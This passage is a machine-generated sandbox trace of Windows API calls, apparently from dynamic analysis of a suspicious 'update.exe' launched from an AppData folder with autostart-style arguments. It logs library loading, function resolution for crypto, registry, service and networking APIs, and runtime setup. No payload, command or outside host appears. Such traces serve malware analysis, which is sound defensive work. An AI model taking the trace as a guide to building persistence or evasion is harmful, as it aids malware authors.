lpProcName="GetCurrentProcess") returned 0x773f1809 [0110.556] GetProcAddress (hModule=0x773e0000, lpProcName="GetComputerNameW") returned 0x773fdd0e [0110.556] GetProcAddress (hModule=0x773e0000, lpProcName="GetExitCodeProcess") returned 0x7740174d [0110.556] GetProcAddress (hModule=0x773e0000, lpProcName="TerminateProcess") returned 0x7740d802 [0110.556] GetProcAddress (hModule=0x773e0000, lpProcName="GetModuleFileNameW") returned 0x773f4950 [0110.556] GetProcAddress (hModule=0x773e0000, lpProcName="GlobalFree") returned 0x773f5558 [0110.556] GetProcAddress (hModule=0x773e0000, lpProcName="CreateMutexA") returned 0x773f4c6b [0110.556] GetProcAddress (hModule=0x773e0000, lpProcName="GetVersion") returned 0x773f4467 [0110.556] GetProcAddress (hModule=0x773e0000, lpProcName="GetCurrentProcessId") returned 0x773f11f8 [0110.556] GetProcAddress (hModule=0x773e0000, lpProcName="CreateThread") returned 0x773f34d5 [0110.556] GetProcAddress (hModule=0x773e0000, lpProcName="CreateFileA") returned 0x773f53c6 [0110.557] GetProcAddress (hModule=0x773e0000, lpProcName="CreateDirectoryA") returned 0x7741d526 [0110.557] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcpyA") returned 0x77412a9d [0110.557] GetProcAddress (hModule=0x773e0000, lpProcName="FatalAppExitA") returned 0x77474691 [0110.557] GetProcAddress (hModule=0x773e0000, lpProcName="CreateSemaphoreW") returned 0x7740ca5a [0110.557] GetProcAddress (hModule=0x773e0000, lpProcName="GetModuleHandleW") returned 0x773f34b0 [0110.557] GetProcAddress (hModule=0x773e0000, lpProcName="GetTickCount") returned 0x773f110c [0110.557] GetProcAddress (hModule=0x773e0000, lpProcName="TlsFree") returned 0x773f3587 [0110.557] GetProcAddress (hModule=0x773e0000, lpProcName="TlsSetValue") returned 0x773f14fb [0110.557] GetProcAddress (hModule=0x773e0000, lpProcName="TlsGetValue") returned 0x773f11e0 [0110.557] GetProcAddress (hModule=0x773e0000, lpProcName="TlsAlloc") returned 0x773f49ad [0110.557] GetProcAddress (hModule=0x773e0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x773f1916 [0110.558] GetProcAddress (hModule=0x773e0000, lpProcName="SetUnhandledExceptionFilter") returned 0x773f87c9 [0110.558] GetProcAddress (hModule=0x773e0000, lpProcName="UnhandledExceptionFilter") returned 0x7741772f [0110.558] GetProcAddress (hModule=0x773e0000, lpProcName="FreeEnvironmentStringsW") returned 0x773f51cb [0110.558] GetProcAddress (hModule=0x773e0000, lpProcName="GetEnvironmentStringsW") returned 0x773f51e3 [0110.558] GetProcAddress (hModule=0x773e0000, lpProcName="GetSystemTimeAsFileTime") returned 0x773f3509 [0110.558] GetProcAddress (hModule=0x773e0000, lpProcName="QueryPerformanceCounter") returned 0x773f1725 [0110.558] GetProcAddress (hModule=0x773e0000, lpProcName="GetStartupInfoW") returned 0x773f4d40 [0110.558] GetProcAddress (hModule=0x773e0000, lpProcName="DeleteCriticalSection") returned 0x77ac45f5 [0110.558] GetProcAddress (hModule=0x773e0000, lpProcName="GetFileType") returned 0x773f3531 [0110.558] GetProcAddress (hModule=0x773e0000, lpProcName="RaiseException") returned 0x773f58a6 [0110.558] GetProcAddress (hModule=0x773e0000, lpProcName="LCMapStringW") returned 0x773f17b9 [0110.559] GetProcAddress (hModule=0x773e0000, lpProcName="GetConsoleCP") returned 0x77497bff [0110.559] GetProcAddress (hModule=0x773e0000, lpProcName="GetConsoleMode") returned 0x773f1328 [0110.559] GetProcAddress (hModule=0x773e0000, lpProcName="SetFilePointerEx") returned 0x7740c807 [0110.559] GetProcAddress (hModule=0x773e0000, lpProcName="SetConsoleCtrlHandler") returned 0x773f8a09 [0110.559] GetProcAddress (hModule=0x773e0000, lpProcName="FreeLibrary") returned 0x773f34c8 [0110.559] GetProcAddress (hModule=0x773e0000, lpProcName="LoadLibraryExW") returned 0x773f495d [0110.559] GetProcAddress (hModule=0x773e0000, lpProcName="OutputDebugStringW") returned 0x7741d1d4 [0110.559] GetProcAddress (hModule=0x773e0000, lpProcName="HeapReAlloc") returned 0x77ad1f6e [0110.559] GetProcAddress (hModule=0x773e0000, lpProcName="RtlUnwind") returned 0x7741d1c3 [0110.559] GetProcAddress (hModule=0x773e0000, lpProcName="SetStdHandle") returned 0x7747454f [0110.559] GetProcAddress (hModule=0x773e0000, lpProcName="HeapFree") returned 0x773f14c9 [0110.559] GetProcAddress (hModule=0x773e0000, lpProcName="HeapAlloc") returned 0x77abe026 [0110.559] GetProcAddress (hModule=0x773e0000, lpProcName="WriteConsoleW") returned 0x77417aca [0110.559] GetProcAddress (hModule=0x773e0000, lpProcName="FlushFileBuffers") returned 0x773f469b [0110.560] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0110.560] GetProcAddress (hModule=0x773e0000, lpProcName="DecodePointer") returned 0x77ac9d35 [0110.560] GetProcAddress (hModule=0x773e0000, lpProcName="GetStringTypeW") returned 0x773f1946 [0110.560] GetProcAddress (hModule=0x773e0000, lpProcName="LeaveCriticalSection") returned 0x77ab2270 [0110.560] GetProcAddress (hModule=0x773e0000, lpProcName="EnterCriticalSection") returned 0x77ab22b0 [0110.560] GetProcAddress (hModule=0x773e0000, lpProcName="HeapSize") returned 0x77ac3002 [0110.560] GetProcAddress (hModule=0x773e0000, lpProcName="GetStdHandle") returned 0x773f51b3 [0110.560] GetProcAddress (hModule=0x773e0000, lpProcName="AreFileApisANSI") returned 0x774740d1 [0110.560] GetProcAddress (hModule=0x773e0000, lpProcName="GetModuleHandleExW") returned 0x773f4a6f [0110.560] GetProcAddress (hModule=0x773e0000, lpProcName="ExitProcess") returned 0x773f7a10 [0110.560] GetProcAddress (hModule=0x773e0000, lpProcName="GetProcessHeap") returned 0x773f14e9 [0110.560] GetProcAddress (hModule=0x773e0000, lpProcName="GetCurrentThreadId") returned 0x773f1450 [0110.560] GetProcAddress (hModule=0x773e0000, lpProcName="GetCurrentThread") returned 0x773f17ec [0110.561] GetProcAddress (hModule=0x773e0000, lpProcName="IsValidCodePage") returned 0x773f4493 [0110.561] GetProcAddress (hModule=0x773e0000, lpProcName="GetACP") returned 0x773f179c [0110.561] GetProcAddress (hModule=0x773e0000, lpProcName="GetOEMCP") returned 0x7741d1a1 [0110.561] GetProcAddress (hModule=0x773e0000, lpProcName="GetCPInfo") returned 0x773f5189 [0110.561] GetProcAddress (hModule=0x773e0000, lpProcName="IsDebuggerPresent") returned 0x773f4a5d [0110.561] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcpyW") returned 0x77413102 [0110.561] GetProcAddress (hModule=0x773e0000, lpProcName="IsProcessorFeaturePresent") returned 0x773f5235 [0110.561] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x75e50000 [0110.561] GetProcAddress (hModule=0x75e50000, lpProcName="PostQuitMessage") returned 0x75e69abb [0110.561] GetProcAddress (hModule=0x75e50000, lpProcName="LoadCursorW") returned 0x75e688f7 [0110.561] GetProcAddress (hModule=0x75e50000, lpProcName="BeginPaint") returned 0x75e71361 [0110.561] GetProcAddress (hModule=0x75e50000, lpProcName="TranslateMessage") returned 0x75e67809 [0110.561] GetProcAddress (hModule=0x75e50000, lpProcName="RegisterClassExW") returned 0x75e6b17d [0110.561] GetProcAddress (hModule=0x75e50000, lpProcName="ShowWindow") returned 0x75e70dfb [0110.562] GetProcAddress (hModule=0x75e50000, lpProcName="IsWindow") returned 0x75e67136 [0110.562] GetProcAddress (hModule=0x75e50000, lpProcName="CreateWindowExW") returned 0x75e68a29 [0110.562] GetProcAddress (hModule=0x75e50000, lpProcName="UpdateWindow") returned 0x75e73559 [0110.562] GetProcAddress (hModule=0x75e50000, lpProcName="DefWindowProcW") returned 0x77ac25dd [0110.562] GetProcAddress (hModule=0x75e50000, lpProcName="PeekMessageW") returned 0x75e705ba [0110.562] GetProcAddress (hModule=0x75e50000, lpProcName="PostThreadMessageW") returned 0x75e68bff [0110.562] GetProcAddress (hModule=0x75e50000, lpProcName="MessageBoxW") returned 0x75ebfd3f [0110.562] GetProcAddress (hModule=0x75e50000, lpProcName="DispatchMessageW") returned 0x75e6787b [0110.562] GetProcAddress (hModule=0x75e50000, lpProcName="DestroyWindow") returned 0x75e69a55 [0110.562] GetProcAddress (hModule=0x75e50000, lpProcName="EndPaint") returned 0x75e71341 [0110.562] GetProcAddress (hModule=0x75e50000, lpProcName="SendMessageW") returned 0x75e69679 [0110.562] GetProcAddress (hModule=0x75e50000, lpProcName="GetMessageW") returned 0x75e678e2 [0110.562] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x75720000 [0110.562] GetProcAddress (hModule=0x75720000, lpProcName="CloseServiceHandle") returned 0x7573369c [0110.563] GetProcAddress (hModule=0x75720000, lpProcName="CryptAcquireContextW") returned 0x7572df14 [0110.563] GetProcAddress (hModule=0x75720000, lpProcName="GetUserNameW") returned 0x7573157a [0110.563] GetProcAddress (hModule=0x75720000, lpProcName="CryptHashData") returned 0x7572df36 [0110.563] GetProcAddress (hModule=0x75720000, lpProcName="RegSetValueExW") returned 0x757314d6 [0110.563] GetProcAddress (hModule=0x75720000, lpProcName="RegCloseKey") returned 0x7573469d [0110.563] GetProcAddress (hModule=0x75720000, lpProcName="CryptDestroyHash") returned 0x7572df66 [0110.563] GetProcAddress (hModule=0x75720000, lpProcName="OpenSCManagerW") returned 0x7572ca64 [0110.563] GetProcAddress (hModule=0x75720000, lpProcName="OpenServiceW") returned 0x7572ca4c [0110.563] GetProcAddress (hModule=0x75720000, lpProcName="ControlService") returned 0x75747144 [0110.563] GetProcAddress (hModule=0x75720000, lpProcName="RegOpenKeyExW") returned 0x7573468d [0110.563] GetProcAddress (hModule=0x75720000, lpProcName="CryptCreateHash") returned 0x7572df4e [0110.563] GetProcAddress (hModule=0x75720000, lpProcName="QueryServiceStatus") returned 0x75732a86 [0110.563] GetProcAddress (hModule=0x75720000, lpProcName="RegQueryValueExW") returned 0x757346ad [0110.563] GetProcAddress (hModule=0x75720000, lpProcName="CryptReleaseContext") returned 0x7572e124 [0110.564] GetProcAddress (hModule=0x75720000, lpProcName="CryptGetHashParam") returned 0x7572df7e [0110.564] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fa0000 [0110.566] GetProcAddress (hModule=0x75fa0000, lpProcName="SHGetPathFromIDListW") returned 0x760317bf [0110.566] GetProcAddress (hModule=0x75fa0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7602e141 [0110.566] GetProcAddress (hModule=0x75fa0000, lpProcName="CommandLineToArgvW") returned 0x75fb9ee8 [0110.566] GetProcAddress (hModule=0x75fa0000, lpProcName="ShellExecuteA") returned 0x761e7078 [0110.567] GetProcAddress (hModule=0x75fa0000, lpProcName="ShellExecuteExW") returned 0x75fc1e46 [0110.567] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x75810000 [0110.567] GetProcAddress (hModule=0x75810000, lpProcName="CoInitialize") returned 0x7582b636 [0110.567] GetProcAddress (hModule=0x75810000, lpProcName="CoInitializeSecurity") returned 0x75837259 [0110.567] GetProcAddress (hModule=0x75810000, lpProcName="CoUninitialize") returned 0x758586d3 [0110.567] GetProcAddress (hModule=0x75810000, lpProcName="CoCreateInstance") returned 0x75859d0b [0110.567] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x77000000 [0110.568] GetProcAddress (hModule=0x77000000, lpProcName=0xca) returned 0x7700fd6b [0110.568] GetProcAddress (hModule=0x77000000, lpProcName=0x2) returned 0x77004642 [0110.568] GetProcAddress (hModule=0x77000000, lpProcName=0x9) returned 0x77003eae [0110.568] GetProcAddress (hModule=0x77000000, lpProcName=0x8) returned 0x77003ed5 [0110.568] GetProcAddress (hModule=0x77000000, lpProcName=0x6) returned 0x77003e59 [0110.568] GetProcAddress (hModule=0x77000000, lpProcName=0xc8) returned 0x77003f21 [0110.568] GetProcAddress (hModule=0x77000000, lpProcName=0xc) returned 0x77005dee [0110.568] GetProcAddress (hModule=0x77000000, lpProcName=0xc9) returned 0x77004af8 [0110.568] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x75320000 [0110.571] GetProcAddress (hModule=0x75320000, lpProcName="GetAdaptersInfo") returned 0x75329263 [0110.572] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x757d0000 [0110.573] GetProcAddress (hModule=0x757d0000, lpProcName=0xc) returned 0x757db131 [0110.573] GetProcAddress (hModule=0x757d0000, lpProcName=0xb) returned 0x757d311b [0110.573] GetProcAddress (hModule=0x757d0000, lpProcName=0x34) returned 0x757e7673 [0110.573] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x752c0000 [0110.576] GetProcAddress (hModule=0x752c0000, lpProcName="DnsFree") returned 0x752c436b [0110.576] GetProcAddress (hModule=0x752c0000, lpProcName="DnsQuery_W") returned 0x752d572c [0110.576] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x75200000 [0110.581] GetProcAddress (hModule=0x75200000, lpProcName="atexit") returned 0x7521c544 [0110.581] atexit (param_1=0x6031aa) returned 0 [0110.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fdd4 | out: lpSystemTimeAsFileTime=0x18fdd4*(dwLowDateTime=0xc913cd90, dwHighDateTime=0x1d4800f)) [0110.581] GetCurrentThreadId () returned 0x6b0 [0110.582] GetCurrentProcessId () returned 0x68c [0110.582] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdcc | out: lpPerformanceCount=0x18fdcc*=1808013700000) returned 1 [0110.582] GetStartupInfoW (in: lpStartupInfo=0x18fd64 | out: lpStartupInfo=0x18fd64*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x773f1856, hStdOutput=0x77aafd35, hStdError=0x77b17daf)) [0110.582] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773e0000 [0110.582] GetProcAddress (hModule=0x773e0000, lpProcName="FlsAlloc") returned 0x773f4f2b [0110.582] GetProcAddress (hModule=0x773e0000, lpProcName="FlsFree") returned 0x773f359f [0110.582] GetProcAddress (hModule=0x773e0000, lpProcName="FlsGetValue") returned 0x773f1252 [0110.582] GetProcAddress (hModule=0x773e0000, lpProcName="FlsSetValue") returned 0x773f4208 [0110.582] GetProcAddress (hModule=0x773e0000, lpProcName="InitializeCriticalSectionEx") returned 0x773f4d28 [0110.583] GetProcAddress (hModule=0x773e0000, lpProcName="CreateEventExW") returned 0x7747410b [0110.583] GetProcAddress (hModule=0x773e0000, lpProcName="CreateSemaphoreExW") returned 0x77474195 [0110.583] GetProcAddress (hModule=0x773e0000, lpProcName="SetThreadStackGuarantee") returned 0x773fd31f [0110.583] GetProcAddress (hModule=0x773e0000, lpProcName="CreateThreadpoolTimer") returned 0x7740ee7e [0110.583] GetProcAddress (hModule=0x773e0000, lpProcName="SetThreadpoolTimer") returned 0x77ad441c [0110.583] GetProcAddress (hModule=0x773e0000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77afc50e [0110.583] GetProcAddress (hModule=0x773e0000, lpProcName="CloseThreadpoolTimer") returned 0x77afc381 [0110.583] GetProcAddress (hModule=0x773e0000, lpProcName="CreateThreadpoolWait") returned 0x7740f088 [0110.583] GetProcAddress (hModule=0x773e0000, lpProcName="SetThreadpoolWait") returned 0x77ae05d7 [0110.583] GetProcAddress (hModule=0x773e0000, lpProcName="CloseThreadpoolWait") returned 0x77afca24 [0110.583] GetProcAddress (hModule=0x773e0000, lpProcName="FlushProcessWriteBuffers") returned 0x77ab0b8c [0110.583] GetProcAddress (hModule=0x773e0000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77b6fde8 [0110.583] GetProcAddress (hModule=0x773e0000, lpProcName="GetCurrentProcessorNumber") returned 0x77b01e1d [0110.584] GetProcAddress (hModule=0x773e0000, lpProcName="GetLogicalProcessorInformation") returned 0x77474761 [0110.584] GetProcAddress (hModule=0x773e0000, lpProcName="CreateSymbolicLinkW") returned 0x7746cd11 [0110.584] GetProcAddress (hModule=0x773e0000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0110.584] GetProcAddress (hModule=0x773e0000, lpProcName="EnumSystemLocalesEx") returned 0x7747424f [0110.584] GetProcAddress (hModule=0x773e0000, lpProcName="CompareStringEx") returned 0x774746b1 [0110.584] GetProcAddress (hModule=0x773e0000, lpProcName="GetDateFormatEx") returned 0x77486676 [0110.584] GetProcAddress (hModule=0x773e0000, lpProcName="GetLocaleInfoEx") returned 0x77474751 [0110.584] GetProcAddress (hModule=0x773e0000, lpProcName="GetTimeFormatEx") returned 0x774865f1 [0110.584] GetProcAddress (hModule=0x773e0000, lpProcName="GetUserDefaultLocaleName") returned 0x774747c1 [0110.584] GetProcAddress (hModule=0x773e0000, lpProcName="IsValidLocaleName") returned 0x774747e1 [0110.584] GetProcAddress (hModule=0x773e0000, lpProcName="LCMapStringEx") returned 0x774747f1 [0110.584] GetProcAddress (hModule=0x773e0000, lpProcName="GetCurrentPackageId") returned 0x0 [0110.585] GetProcAddress (hModule=0x773e0000, lpProcName="GetTickCount64") returned 0x7740eee0 [0110.585] GetProcAddress (hModule=0x773e0000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0110.585] GetProcAddress (hModule=0x773e0000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0110.585] GetCurrentThreadId () returned 0x6b0 [0110.585] GetStartupInfoW (in: lpStartupInfo=0x18fd34 | out: lpStartupInfo=0x18fd34*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x415e4a, hStdOutput=0x3ec4e7e3, hStdError=0x42f6de)) [0110.585] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0110.585] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0110.585] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0110.585] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Admin IsAutoStart IsNotTask" [0110.585] GetEnvironmentStringsW () returned 0x64c0b8* [0110.585] FreeEnvironmentStringsW (penv=0x64c0b8) returned 1 [0110.585] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x44e1f0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe")) returned 0x5b [0110.587] GetLastError () returned 0x0 [0110.587] SetLastError (dwErrCode=0x0) [0110.587] GetLastError () returned 0x0 [0110.587] SetLastError (dwErrCode=0x0) [0110.587] GetLastError () returned 0x0 [0110.587] SetLastError (dwErrCode=0x0) [0110.587] GetACP () returned 0x4e4 [0110.587] GetLastError () returned 0x0 [0110.587] SetLastError (dwErrCode=0x0) [0110.587] IsValidCodePage (CodePage=0x4e4) returned 1 [0110.587] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fd28 | out: lpCPInfo=0x18fd28) returned 1 [0110.587] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f7f0 | out: lpCPInfo=0x18f7f0) returned 1 [0110.587] GetLastError () returned 0x0 [0110.587] SetLastError (dwErrCode=0x0) [0110.587] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0110.587] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x18f568, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0110.587] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f804 | out: lpCharType=0x18f804) returned 1 [0110.587] GetLastError () returned 0x0 [0110.587] SetLastError (dwErrCode=0x0) [0110.587] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0110.587] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x18f538, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0110.587] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0110.587] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f328, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0110.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fb04, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x